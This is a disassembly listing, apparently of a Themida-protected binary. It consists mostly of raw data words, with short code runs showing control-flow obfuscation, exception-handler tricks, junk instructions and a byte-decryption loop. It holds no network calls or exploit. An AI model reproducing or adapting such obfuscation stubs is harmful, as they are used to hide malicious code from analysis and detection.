		dd 2820F00h, 53000000h,	8B505F5Bh, 0B70F90D9h, 6A006ADEh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0B8E7C353h, 617F8D68h, 81DE8AE6h,	84722404h
		dd 0BD8B19BDh, 61324B1h, 0A3D95FFh, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B8F73C3h
		dd 548589FBh, 6A0616C4h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 767FC356h, 6890Fh
		dd 9D8B0000h, 6132BB5h,	21E59D89h, 35E90613h, 0BF000001h
		dd 27AE1CAEh, 0C44C858Bh, 81660616h, 99A86C3h, 1319D18Dh
		dd 1800C706h, 89000000h, 1304DD8Dh, 50B58B06h, 6A0616C4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0A554C357h, 858B41EEh, 6132A55h, 0D519D89h
		dd 6890613h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	6CC35343h, 0ABB33CA0h, 26025C2Dh, 8BDA8B56h, 132BB985h
		dd 38F0F06h, 80000000h,	4689B1F7h, 0B5BD8B04h, 96061331h
		dd 9AC2BF66h, 0AE950h, 57CA0000h, 3122840Dh, 0A43C2397h
		dd 4CB5FF96h, 500616C4h, 0C0D9D8Bh, 0E85B0613h,	4, 1F03FFh
		dd 5350DA8Bh, 0D9A624BBh, 448B5F01h, 0BA600424h, 146BB95Bh
		dd 9F56BE66h, 50008B61h, 0DE852h, 0B58F0000h, 8CB30F6Dh
		dd 0C7EB2E15h, 0BFC5E8B8h, 38881AC0h, 8B310F5Bh, 89585AFEh
		dd 0B3042444h, 860F58D7h, 0Fh, 0AE9h, 20AEFB00h, 86646E9Ch
		dd 8DC3C38Ah, 16C45485h, 0FBB70F06h, 7AB0BB50h,	4893BC4h
		dd 3D95FF24h, 5206130Ah, 5BDBBF0Fh, 56006A61h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0B63C75h, 29D9CD18h
		dd 305585C7h, 30613h, 0B5310000h, 6131FBDh, 0C454BD83h
		dd 0F000616h, 6984h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 1BAEC4A0h, 36D86996h
		dd 0DF8B6625h, 56E98CB7h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 563BC357h
		dd 13E8h, 46011400h, 0BC62C0A6h, 1478D424h, 81FB16BBh
		dd 0EE814A2Dh, 2F7E70BFh, 30505F6Ch, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 9B7B9E0Eh
		dd 13B3C4D3h, 9D894316h, 6131CD9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 4AC35141h, 1C48FE30h, 1B19BD8Bh
		dd 0BD830613h, 6133055h, 91850F03h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0CEECC355h, 2BFE659Fh, 0C454BD83h, 0F000616h, 46384h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 11E920E1h, 0AC000000h, 0DE7328C0h, 0A57FA2FDh
		dd 92E231A7h, 4D9F6644h, 0C454B5FFh, 6A0616h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 8AF105C3h
		dd 0E38166F4h, 95FF3EF2h, 6130969h, 0C448B58Bh,	6A0616h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0F55B4CC3h, 15E68160h, 8B7D37F4h, 8B6661DAh,	106C7FBh
		dd 6A000100h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 81E4C353h, 4EFC0FF3h, 14E85018h
		dd 0E3000000h, 6C201EA3h, 0AF1EB8FDh, 0A7BA275Fh, 0FFA4F41Ch
		dd 8BB42FC4h, 34895BD9h, 54B5FF24h, 660616C4h, 0FF6A54BFh
		dd 13322995h, 14E806h, 45F30000h, 0DAD4BEBDh, 0FB360DAh
		dd 0B173019h, 9CFAB2D7h, 895F4308h, 13093585h, 48B58B06h
		dd 8B0616C4h, 13063185h, 0BE806h, 0B92D0000h, 56740744h
		dd 0E37A7015h, 0FE8B66BCh, 39B5295Fh, 89061312h, 0C486h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0BCE930EBh, 870Fh, 81660000h, 8BC63BCBh
		dd 131BBD95h, 0DE8B6606h, 0F04C283h, 0B70FDFB7h, 205089FEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 14C35141h
		dd 0F8B70FDCh, 148ABF66h, 0D8E3858Dh, 6A0616h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 463201C3h, 483FFE11h, 89DABF0Fh, 0B886h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0F13B84C4h, 0F9F96060h, 0D15BD89h, 6A0613h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E7C35646h, 0C4C3A563h
		dd 0D4F9EB81h, 0B5FF085Dh, 616C454h, 9595FFF8h,	8B06131Eh
		dd 1325299Dh, 890F9606h, 4, 61585360h, 48E0F50h, 52000000h
		dd 965F6160h, 0F19D8B60h, 6606130Ah, 0FC37E881h, 54B5FF61h
		dd 6A0616C4h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 3CD4C353h, 7DDD9667h, 0A59D8B2Dh
		dd 0FF061324h, 13214595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 3A2E624Ah
		dd 83D4915Ah, 131495BDh, 840F0006h, 1Ch, 1F37BB66h, 6E850h
		dd 99FA0000h, 182C75A7h, 895FF98Ah, 9D8B2434h, 6131719h
		dd 0C454B5FFh, 6A0616h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 877A4CC3h, 0E498FF48h, 14E8EAh
		dd 950F0000h, 93D2FA70h, 0F25009B5h, 0E96FA035h, 7B9C3BC1h
		dd 9D016E31h, 6130559h,	99BD8B5Fh, 0FF06130Ah, 1305AD95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 86EB1F2Bh, 0D9F7C487h, 0D381CD53h, 56CE275Ch
		dd 0C454B5FFh, 9D8B0616h, 613051Dh, 120995FFh, 0BB660613h
		dd 0BD8379D5h, 6130511h, 0C2840F02h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 591DC356h, 80AFF9EFh, 0E85F096Ah, 0Ah, 0A55F7D87h, 622F02C7h
		dd 0B5318AA1h, 6132B35h, 14E85Fh, 11450000h, 59CAAF63h
		dd 3637E17Eh, 509F138Ah, 307EC688h, 9D238082h, 6130A75h
		dd 55858B5Fh, 6A06130Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0C410C356h,	1DE9031Eh
		dd 57D99E3Ch, 0C65B3AB7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FE4EDC3h, 0E8Fh, 0C8816000h
		dd 12811C47h, 8A0Fh, 1610000h, 132FA5B5h, 5185C706h, 6131Eh
		dd 0E8000000h, 11h, 144535Ah, 0A7F5F116h, 972EC9C1h, 5347AA36h
		dd 0E1BB6623h, 0B5295BF1h, 6132ED9h, 0FFF316E9h, 11E9FFh
		dd 3B8B0000h, 15117FEEh, 71FB26D1h, 30630476h, 60341D71h
		dd 1E018D89h, 14E90613h, 30000000h, 6FD3D4FDh, 0FD216162h
		dd 0A79B1F1Bh, 79E63817h, 61C674F7h
		dd 0CFBBC18Bh, 8D6773BFh, 131EA985h, 8880F06h, 60000000h
		dd 2A258D89h, 90610613h, 5830Fh, 66500000h, 505FFE8Bh
		dd 6DF5BF66h, 0C840F90h, 0F000000h, 680h, 99BD8900h, 0E806130Bh
		dd 13h,	0A109449Bh, 98B052E7h, 0EAAE658Fh, 0E0F448C6h
		dd 0F0931DCh, 6A5BDFB7h, 0FEB70F00h, 9529006Ah,	6130A99h
		dd 2C4858Dh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0C083C9C3h, 85850105h, 5006130Dh
		dd 310F5250h, 489585Ah,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0EAFEC251h, 8486D6B6h
		dd 8D89C1ADh, 6133231h,	6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0BD29F5C3h, 61329ADh
		dd 0BD03006Ah, 61307F5h, 7F195FFh, 81660613h, 8D1B44D7h
		dd 16A36A8Dh, 23D1FF06h, 130A6D9Dh, 3DBD8306h, 1061317h
		dd 60850Fh, 820F0000h, 1, 6A026AF8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F0EDC355h
		dd 0D0DFA4D4h, 9F04E2BBh, 219DBD8Bh, 9D8B0613h,	6133091h
		dd 9E950h, 2C110000h, 0ABD6E574h, 89292D26h, 9D8B2404h
		dd 6130F21h, 1E9595FFh,	0BD890613h, 6132C8Dh, 2AE9DE8Ah
		dd 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 61802CEh
		adc	bx, 43ADh
		mov	edi, [ebp+6132A05h]
		mov	ebx, [ebp+6132821h]
		lea	eax, [ebp+6168F5Eh]
		cld
		push	eax
		mov	edi, 763631B5h
		mov	[esp], eax
		push	ecx
		pusha
		mov	cx, di
		mov	edx, 7FC1CC02h
		popa
		pop	edi
		push	large dword ptr	fs:0
		push	0
		push	edx
		call	sub_5CC5DE
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC5DE	proc near		; CODE XREF: Themida_:005CC5D6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5CC5DE	endp

; ---------------------------------------------------------------------------
		dw 4C66h
; ---------------------------------------------------------------------------
		mov	edi, esi
		mov	large fs:0, esp
		push	0
		push	eax
		call	sub_5CC604
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC604	proc near		; CODE XREF: Themida_:005CC5FCp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5CC604	endp

; ---------------------------------------------------------------------------
		cmpsd
		sbb	eax, 0DAB70F51h
		pop	ebx
		jnp	loc_5CC629
		push	edx
		xor	edi, 2F311485h
		pop	edi


loc_5CC629:				; CODE XREF: Themida_:005CC61Bj
		inc	dword ptr [ebp+61316D9h]
		mov	edi, [ebp+61310D9h]
		sub	[ebp+61307CDh],	ebx
		push	0FFFFFFFFh
		sub	di, 0DEC4h
		push	dword ptr [ebp+6132CA1h]
		jle	$+6
		call	dword ptr [ebp+61331ADh]
		jmp	loc_5CC72B
; ---------------------------------------------------------------------------
		db 8Bh,	9Dh, 0EDh
		dd 0B0061301h, 0B70F5000h, 70E65FFAh, 0F88B71E4h, 830F613Ch
		dd 0B7h, 0AC99589h, 0B60F0613h,	958957C8h, 613309Dh, 6BA5Fh
		dd 8E0F0000h, 4, 3BFBB66h, 0BF0FC18Bh, 4E8C1FBh, 0EE9h
		dd 0B0593400h, 53AC1D99h, 3D6FB4F6h, 667BE89Eh,	2BFCE2F7h
		dd 0BEECBBC8h, 0D18B7E6Eh, 6AE9h, 0BDBD2900h, 8B061311h
		dd 131ECD9Dh, 50858B06h, 5247554Ch, 5B2DCB80h, 8007C083h
		dd 0C08334CBh, 6BDFBF00h, 0B70F298Dh, 0FD03BDBh, 883h
		dd 35E900h, 0DB800000h,	0FF8D8B65h, 89FFFFFFh, 131711BDh
		dd 1E18306h, 1D840Fh, 0B5090000h, 6130A51h, 0FFFFA583h
		dd 0BFFEFFFFh, 455E402Ah, 4C509589h, 0E94755h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5CC72B:				; CODE XREF: Themida_:005CC654j
		lea	esi, [ebp+6177FC7h]
		push	0
		push	eax
		call	sub_5CC73C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC73C	proc near		; CODE XREF: Themida_:005CC734p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5CC73C	endp

; ---------------------------------------------------------------------------
		dd 8D99003Dh, 2F04DB81h, 6A75A1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 5CC35040h, 0A71181F7h, 0DBB13F7Dh
		dd 655BD8Bh, 95FF0613h,	6130DA9h, 3E56BB66h, 0FABB9h, 0B19D8900h
		dd 83061314h, 35B7FCE1h, 6EE4BBFCh, 0B86DB3h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0C3BBC353h, 0CF582182h, 7E8413Ah,	91000000h
		dd 0B69B70DCh, 810FB8A5h, 5, 6FF78166h,	0D22B5F51h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 54C35747h, 0F7B1A3ECh
		dd 0BD8B63BBh, 0C233AD4Ch, 0D003E8D1h, 7504E983h, 55006AF4h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 8B7871A5h, 8166C507h, 0D166BE7h, 88h, 165B589h, 958B0613h
		dd 6131BBDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	60C35141h, 0FA64A200h, 68D6105Eh, 8820F90h, 52000000h
		dd 0A58529h, 8B5B0613h,	1318DD8Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 7F12BC30h
		dd 0A19D8955h, 50061319h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 28939761h, 4690456Ch, 3880F07h, 80000000h
		dd 840F06DFh, 5, 553C62BFh, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0FC189905h
		dd 284C511Dh, 7299D09h,	9D8B0613h, 6132B99h, 1D1DBD83h
		dd 0F000613h, 8484h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 66352C40h, 0B88B9FBBh
		dd 0
; ---------------------------------------------------------------------------
		push	edx
		mov	edi, eax
		pop	ebx
		mov	[ebp+6130095h],	ecx
		lea	ecx, [ebp+6134F8Dh]
		push	0
		push	edx
		call	sub_5CC973
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC973	proc near		; CODE XREF: Themida_:005CC96Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5CC973	endp

; ---------------------------------------------------------------------------
		sahf
		mov	di, 0D33Bh
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5CC995
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC995	proc near		; CODE XREF: Themida_:005CC98Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5CC995	endp

; ---------------------------------------------------------------------------
		cmpsd
		sub	[edi], eax
		inc	ebx
		mov	ecx, 8AAA102h
		adc	[ecx+2F0775CBh], eax
		and	eax, [ebx+133055BDh]
		push	es
		add	[edi], cl
		test	ah, dh
		add	eax, [eax]
		add	[ebx+1310A99Dh], cl
		push	es
		cmp	dword ptr [ebp+6133055h], 1
		jz	loc_5CCDC3
		push	0
		push	eax
		call	sub_5CC9E0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC9E0	proc near		; CODE XREF: Themida_:005CC9D8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5CC9E0	endp

; ---------------------------------------------------------------------------
		dd 3C6DD081h, 6030F84Eh, 9589CA8Bh, 613320Dh, 55BD8361h
		dd 3061330h, 37F860Fh, 6A600000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 9DD5C352h
		dd 0BC32E7C1h, 104C3994h, 94DBD31h, 8C660613h, 51006AD9h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0E781857Eh, 5B830CEh, 8004E180h, 8B0F33CBh, 6, 0B41BD8Bh
		dd 0C90A0613h, 11F840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0B327D9C3h, 918D093Ah
		dd 8B061312h, 132BB985h, 4BDBBF06h, 85333E4Eh, 61305B9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 94C35242h
		dd 2EF86C4Dh, 46780610h, 9810F50h, 60000000h, 11AE41B8h
		dd 6129B464h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 9E36C352h, 816AC853h
		dd 0FE9006Ah, 5B000000h, 8B9E9E3Bh, 2113D4BDh, 0EB3DEA7Fh
		dd 9F68E8ECh, 0E86E5172h, 0Ch, 0F7FA2F2Ah, 0CD4019BFh
		dd 0B5B06591h, 0F84CBF66h, 2434815Fh, 6E4E7160h, 0EAF78166h
		dd 3D95FF08h, 8106130Ah, 0A09D5D3h, 54858910h, 6A0616C4h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0FE74C351h, 1BAE9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0D114FE64h
		dd 4C858B17h, 660616C4h, 0C7F88Bh, 18h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 0CC35242h, 2C355654h
		dd 468F23D8h, 5459D89h,	0B58B0613h, 616C450h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DEC35747h, 66B29091h
		dd 858BFB8Bh, 6132A55h,	2835B589h, 6890613h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 5DC35040h, 130EDE52h
		dd 0DE9h, 369DA800h, 0B17D9950h, 86FE4689h, 858B73FCh
		dd 6132BB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0E9C35141h, 8166F17Eh, 89E7ECC3h, 6A0446h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0F8E9E4C3h, 3F97FD85h, 0FEB70F2Bh, 12458589h, 9D8B0613h
		dd 6131065h, 0B193BB96h, 66504120h, 96CD71BFh, 0B5FFD98Bh
		dd 616C44Ch, 0B0DB8166h, 5200682Bh, 0BB66C863h,	48148BAh
		dd 0BBB1FF24h, 8D86B337h, 16C45485h, 2BF6606h, 658589A8h
		dd 90061332h, 0F7BF6650h, 6A90BFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 44F8F2C3h, 0A6236194h
		dd 138FBFDBh, 95FF4B01h, 6130A3Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0B9C35747h,	0AEF67D7Ch, 311246B5h
		dd 1DB501E7h, 61061321h, 85C74CB7h, 6133055h, 3, 8E9h
		dd 3686E800h, 117C2D4Bh, 54BD8354h, 616C4h, 33840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BD8BE2C3h, 6130959h, 27E9h,	6870F00h, 8B000000h, 1330859Dh
		dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h
		db 0E7h, 0EBh, 1Bh
; ---------------------------------------------------------------------------


loc_5CCDC3:				; CODE XREF: Themida_:005CC9CFj
					; Themida_:005CCDDAj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CCDC3
		jmp	short $+2
		mov	eax, eax
		mov	[ebp+6132551h],	edx
		push	0
		push	edi
		call	sub_5CCDF1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCDF1	proc near		; CODE XREF: Themida_:005CCDE9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5CCDF1	endp

; ---------------------------------------------------------------------------
		db 0B2h, 22h, 5Fh
		dd 2FF96FB0h, 602618D3h, 12E8h,	6CCD7D00h, 88FDFC78h, 0AB50184Dh
		dd 0CF6DB88h, 60A0F35Ch, 95895961h, 6130EA9h, 55BD8361h
		dd 3061330h, 424850Fh, 0E3810000h, 9AAB3A7h, 0C454BD83h
		dd 0F000616h, 41184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 9F3E886h, 132F8D95h, 54B5FF06h
		dd 890616C4h, 1332319Dh, 6995FF06h, 6A061309h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 6662C350h, 0D973EF81h, 0C448B58Bh, 0EF810616h, 0E96E374h
		dd 106C7h, 89FC0001h, 130911B5h, 0BB669606h, 0E850983Ah
		dd 5, 4F5AC06Eh, 6A965FFEh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 8B58C351h, 0B85D627h
		dd 0A449C6EDh, 0ED9D8B50h, 5B06130Eh, 0C454B5FFh, 4EBB0616h
		dd 0FF4C7858h, 13322995h, 88A0F06h, 0F000000h, 28Eh, 8BF88B00h
		dd 16C448B5h, 31858B06h, 6A061306h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4895C352h
		dd 70BFFCFDh, 897EF988h, 0C486h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 31CDC766h
		dd 1312398Dh, 0BD958B06h, 6A06131Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 3B23C355h
		dd 6EB95786h, 0E9326C5Fh, 9, 5A703542h,	0FAD0B85Fh, 0D19D8B32h
		dd 83061319h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 5429C2C3h, 5BC791Dh, 0BE9h, 51D0800h
		dd 0BE6C8BDFh, 37DCBEF5h, 6A205089h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 6C33C353h
		dd 60E45EA6h, 0A0F657DDh, 0ED858960h, 8B061304h, 132D298Dh
		dd 858D6106h, 616D8E3h,	0AE70BB66h, 0B88689h, 0BD0B0000h
		dd 6132FA5h, 2EB9BD8Bh,	6A0613h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 19h, 82C35646h, 715B589Dh, 51BD8BD6h
		dd 0FF061316h, 16C454B5h, 51DB8106h, 0FF5D92CDh, 131E9595h
		dd 0DE906h, 140F0000h, 124D8AB0h, 0D3959886h, 9635DDDEh
		dd 208C68BBh, 0FE8507Dh, 4000000h, 0BBC66F17h, 37725348h
		dd 0F4659D11h, 0D98B500Fh, 0BD8B965Bh, 613193Dh, 0C454B5FFh
		dd 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 95FFABC3h, 6132145h, 1495BD83h, 0F000613h
		dd 3884h, 6D9D8B00h, 5006131Fh,	1E418589h, 505F0613h, 4890Fh
		dd 0BF660000h, 3489EBB1h, 11E924h, 8E7E0000h, 20DEEC21h
		dd 951F952Ch, 0B9C48100h, 819FBF4Dh, 0DBECD0D3h, 54B5FF76h
		dd 6A0616C4h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 9261C351h, 0CF55401h, 307D3EE5h
		dd 118E0Fh, 0CE90000h, 64000000h, 0FF3A9579h, 6547C9Ah
		dd 0F877FB4h, 681h, 79BD8900h, 0FF061323h, 1305AD95h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 8596DF3Ah, 0C454B5FFh, 6A0616h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BB6629C3h, 9D8B1CCCh
		dd 6132C61h, 120995FFh,	89F90613h, 130B7D95h, 11BD8306h
		dd 2061305h, 65840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0CBD97FC3h, 0C220147Fh
		dd 9D2B97F7h, 61314F1h,	18F9BD29h, 858B0613h, 6130F55h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D5C35343h
		dd 4CD86FE9h, 8BD0EB61h, 130B8DBDh, 0C606h, 0C7FE8B66h
		dd 131E5185h, 6, 178C0F00h, 0E9000000h,	12h, 38B54071h
		dd 0C2F6F9B4h, 1114BEFDh, 4DAC65Ch, 0D8E9A5D7h,	8BFFFFF3h
		dd 56006AC1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0D70FB1CBh, 3E22CB86h, 0E9602C9Ch, 13h
		dd 0D869961Bh, 66F62536h, 0EFB521A9h, 8D15A525h, 0E8DDE07Bh
		dd 0Ch,	0B01FCAEDh, 7B4E51AFh, 45CEF2EBh, 1F618D01h, 615B0613h
		dd 0A9858DF5h, 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 9042C357h, 0AE850h
		dd 46520000h, 911DBCB1h, 961D0BD5h, 0EE8h, 18468B00h, 63214F23h
		dd 17D3BC7Fh, 6056A674h, 905B5F61h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 12C35747h, 66674C16h, 66006A08h
		dd 6AEE98BBh, 49D78100h, 8D5F3E0Dh, 18121185h, 5D9D8B06h
		dd 83061301h, 0BF6605C0h, 60900D4Bh, 0EE8h, 0DE77EA00h
		dd 0CC25E4D9h, 0F1844AEEh, 0B1E53AFBh, 0EA8A5E08h, 52505061h
		dd 0A7DFE7BFh, 5A310F47h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 1BB755C3h, 0BD898CA9h
		dd 6132269h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0AD0ED0C3h, 2132AAB3h, 0B340D781h
		dd 6A57CCh, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 15h,	0D9C35040h, 0F195FFA5h,	0B3061307h, 0B8F0FDEh
		dd 0F000000h, 587h, 0F31BB00h, 8D8D31A3h, 616A36Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 71C35141h, 34DAD632h
		dd 0B70F5600h, 0D1FF5BFEh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0CDC35141h, 173DBD83h, 0F010613h, 8A85h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0DDBD3337h, 6A061331h, 45BB6602h, 0CDBF90DDh
		dd 504C669Bh, 0C8F0Fh, 8C0F0000h, 6, 310F5250h,	6A90585Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 4676C353h, 13E9231Dh, 0C8000000h,	5C5D065Fh
		dd 109415D2h, 0EE98594Ch, 68F4B03Eh, 0DB8137AEh, 1464AD93h
		dd 1E9595FFh, 0F0BB0613h, 0E92CDA72h, 0D90h, 0E8h, 0ED815D00h
		dd 618121Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0D3C35141h, 1E99BD8Bh, 0F88B0613h, 8F5E858Dh, 6A0616h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 1800B6C3h, 5090D9CDh, 7CBF6650h, 89905FCAh, 131569B5h
